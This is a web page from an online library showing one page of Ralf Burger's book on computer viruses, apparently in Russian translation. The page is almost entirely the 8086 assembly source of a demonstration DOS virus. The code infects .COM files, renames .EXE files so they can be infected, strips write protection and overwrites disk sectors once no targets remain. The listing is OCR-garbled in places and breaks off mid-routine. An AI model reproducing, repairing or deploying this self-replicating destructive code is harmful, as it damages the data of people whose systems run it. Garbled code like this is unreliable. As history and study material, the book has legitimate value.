Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 23 24 25 26 27 28 29  30 31 32 33 34 35 36 ... 53
;****************************************************************
;    Programm Virus                  Ver.1.1
;    Cpyright by R.Burger 1986
;    Dies ist ein Demoprogramm fuer Computerviren
;    Es hat die Eigenschaft sich selbst zu
;    vervielfaeltigen
;    und dadurch andere Programme zu verandern
;****************************************************************
;    программа-вирус     версия 1.1
;    Автор Р. Бургер, 1986
;    Это программа для демонстрации компьютерных вирусов.
;    Она обладает свойством самостоятельно размножаться и
;    изменять тем самым другие программы
;****************************************************************
Code      Segment
          Assum     CS:Code
progr     equ       100h
          ORG       progr
;****************************************************************
;    Три операции nop служат "вирусу" в качестве байта
;    идентификатора,  по которому можно определить "вне-
;    древние" вируса
;****************************************************************
MAIN:
          nop

                           - 173 -
          nop
          nop
;*****************************************************************
;    инициация указателя
;*****************************************************************
          mov ax,00
          mov ex:[pointer],ax
          mov ex:[counter],ax
          mov ex:[disks],ax
;*****************************************************************
;    Запрос выбранного дисковода
;*****************************************************************
          mov ax,19h          ;drive?   дисковод?
          int 21h
;*****************************************************************
;    Запрос актуального пути доступа к актуальному дисководу
;*****************************************************************
          mov cs:drive,a1     ; сохранить дисковод
          mov ah,47h          ; dir     каталог?
          mov dh,0
          add a1,1
          mov d1,a1           ; на актуальный дисковод
          lea si,cs:old_path
          int 21h
;*****************************************************************
;    Запрос числа имеющихся дисководов
;    Если должен существовать лишь один дисковод, указатель
;    последовательности доступа установить на searchorder+6
;*****************************************************************
          mov ah,0eh           ; имеется несколько дисков
          mov d1,0             ;
          int 21h

          mov a1,01
          cpm a1,01            ; один дисковод?
          jns hups3
          mov a1,06

hups3:    mov ah,0

                           - 174 -
          lea bx,search_order
          add bx,ax
          add bx,0001h
          mov cs:pointer,bx
          clc
;*****************************************************************
;    Бит переноса устанавливается, если при поиске не найден ни
;    один  файл  .СОМ. Затем, чтобы избежать ненужных  затрат
;    времени, файлы .ЕХЕ переименовываются в файлы .СОМ и "за-
;    ражаются" вирусом. При  запуске  большой  инфицированной
;    программы  .ЕХЕ,  выдается сообщение:  "Программа требует
;    слишком много места в  оперативной памяти"
;*****************************************************************
change_disc:
          jnc no_name_change       ; перевод exe в в.com
          mov ah,17h
          lea dx,cs:maske_exe
          int 21h
          cmp a1,0ffh
          jnz no_name_change       ; .EXE found? фйал .exe найден?
;*****************************************************************
;    Если не найдены файлы .COM и .EXE, перезаписываются  область,
;    сектор в зависимости от системного времени в mc. Это  момент
;    полного  "заражения"  запоминающей среды.  Для  "наступления"
;    вируса  участков больше нет и вирус  начинает  разрушительную
;    работу.
;*****************************************************************
          mov ah,2ch               ; считать системное время
          int 21h
          mov bx,cs:pointer
          mov a1,cs:[bx]
          mov bx,dx
          mov cx,2
          mov dh,0
          int 26h                  ; записать на диск
;*****************************************************************
;    Проверить,  достигнут  ли  конец  таблицы  последовательности
;    диска. Если да, завершить программу.
;*****************************************************************

                           - 175 -

no_name_change:
           mov bx,cs:pointer
           dec bx
           mov cs:pointer,bx
           mov dl,cs:[bx]
           cmp dl,0ffh
          jnz hups2
          jnz hops

;*****************************************************************
;    Выбрать  новый  дисковод  из  таблицы   последовательности
;    поиска и зафиксировать этот выбор
;*****************************************************************

hips2:
           mov ah,0eh
           int 21h                 ; поиск диска
;*****************************************************************
;   Сначала начать с основного каталога
;*****************************************************************
           mov ah,3bh              ; путь доступа
               lea dx,path
               int 21h
               jmp find_first_file
;*****************************************************************
;    Начиная   с  основного  каталога,  вести  поиск  по   первому
;    подкаталогу.  До  этого  все  файлы.EXE   ы  старом  каталоге
;    преобразовать в СОМ-файлы.
;*****************************************************************

find_first_subdir:
                mov ah,17h         ; перевод файлов .ехе в .сом
                    lea dx,cs:maske_exe
                    int 21h
                mov ah,3bh         ; использовать основной каталог
                    lea dx,path
                    int 21h
                mov ah,04eh        ; поиск по первому подкаталогу

                           - 176 -
                mov cx,00010001b   ; каталог mask
                lea dx,maske_dir   ;
                int 21h            ;
                jc change_disk
                mov bx,CS:counter
                INC BX
                DEC bx
                jz use_next_subdir
;*****************************************************************
;    Поиск по следующим подкаталогам. Если других подкаталогов  не
;    найдено, сменить дисковод.
;*****************************************************************

find_next_subdir:
                mov ah,4fh         ; поиск по следующему каталогу
                    int 21h
                    jc change_disk
                    dec bx
                    jnz find_next_subdir:
;*****************************************************************
;    Выбрать найденный каталог
;*****************************************************************

use_next_subdir:
                mov ah,2fh         ; прочитать адрес dta
                int 21h
                add bx,1ch
                mov es:[bx], '\'   ; адрес имени в таблице dta
                 inc bx
                push ds
                mov ax,es
                mov ds,ax
                mov dx,bx
                mov ah,3bh         ; путь доступа
                int 21h
                pop ds
                mov bx,cs:pcounter,bx
                inc bx
                mov cs:counter,bx

                           - 177 -
;*****************************************************************
;    Найти  первый  СОМ-файл в актуальном каталоге. Если  файл  не
;    найден, искать в следующем каталоге.
;*****************************************************************
find_first_file
                mov ah,04eh        ; поиск по первой
                mov cx,00000001b   ; mask
                lea dx,maske_com   ;
                int 21h            ;
                jc find_first_subdir
                jmp check_if_ill
;*****************************************************************
;    Если программа уже инфицирована, искать следующую программу
;*****************************************************************

find_next_file:
                 mov ah,4fh         ; поиск следующего
                 int 21h
                 jc find_first_subdir:
;*****************************************************************
;    Проверить "заражена" ли уже программа эти вирусом.
;*****************************************************************
check_if_ill:
                mov ah,4fh         ; открыть канал ввода/вывода
                mov a1,02h         ; чтение/запись
                mov dx,9eh         ; адрес имени в dta
                int 21h
                mov  bx,ax         ; сохранить  состояние  канала
                                   ; ввода/вывода
                mov ah,3fh         ; считать файл
                mov cx,buflen      ;
                mov dx,buffer      ; запись в буфер
                int 21h
                mov ah,3eh         ; закрыть файл
                int 21h
;*****************************************************************
;    Здесь поиск ведется по трем операторам "вируса".
;    Если  такие  операторы есть, инфекция уже  существует.  Затем
;    продолжить поиск.

                           - 178 -
;*****************************************************************
                mov bx,cs:buffer
                cmp bx,9090h
                jz find_next_file
;*****************************************************************
;    Удалить возможно существующую защиту записи
;*****************************************************************

                mov ah,43h         ; разрешить запись
                mov a1,0
                mov dx,9eh         ; адрес имени в таблице dta
                int 21h
                mov ah,43h
                mov a1,01h
                and cx,11111110b
                int 21h
;*****************************************************************
;    Открыть файл для чтения/записи
;*****************************************************************
               mov ah,3dh          ; открыть канал ввода/вывода
               mov a1,02h          ; чтение/запись
               mov dx,9eh          ; адрес имени в
               int 21h
;*****************************************************************
;    Считать  запись  даты файла и сохранить для  дальнейшего  ее
;    использования.
;*****************************************************************
               mov bx,ax           ; канал ввода/вывода
               mov ah,57h          ; считать значение даты
               mov a1,0
               int 21h
               push cx             ; сохранить дату
               push dx
;*****************************************************************
;    Безусловный  переход, записанный по адресу  0100h  программы,
;    также сохраняется для дальнейшего использования.
;*****************************************************************
               mov dx,cs: conta    ; сохранить прежний безусловный
               mov cs:jmpbuf,dx    ; переход

                           - 179 -
               mov dx,cs: buffer+1 ; сохранить новый переход
               lea cx,cont-100h
               sub dx,cx
               mov cs: conta,dx
;*****************************************************************
;    "Вирус" копирует сам себя в начало файла
;*****************************************************************

               mov ah,40h          ; запись вируса
               mov cx,buflen       ; длина буфера
               lea dx,main         ; запись вируса
               int 21h
;*****************************************************************
;    Вновь записывается прежняя дата создания файла.
;*****************************************************************
              mov ah,57h          ; запись даты
Предыдущая страница Следующая страница
1 ... 23 24 25 26 27 28 29  30 31 32 33 34 35 36 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама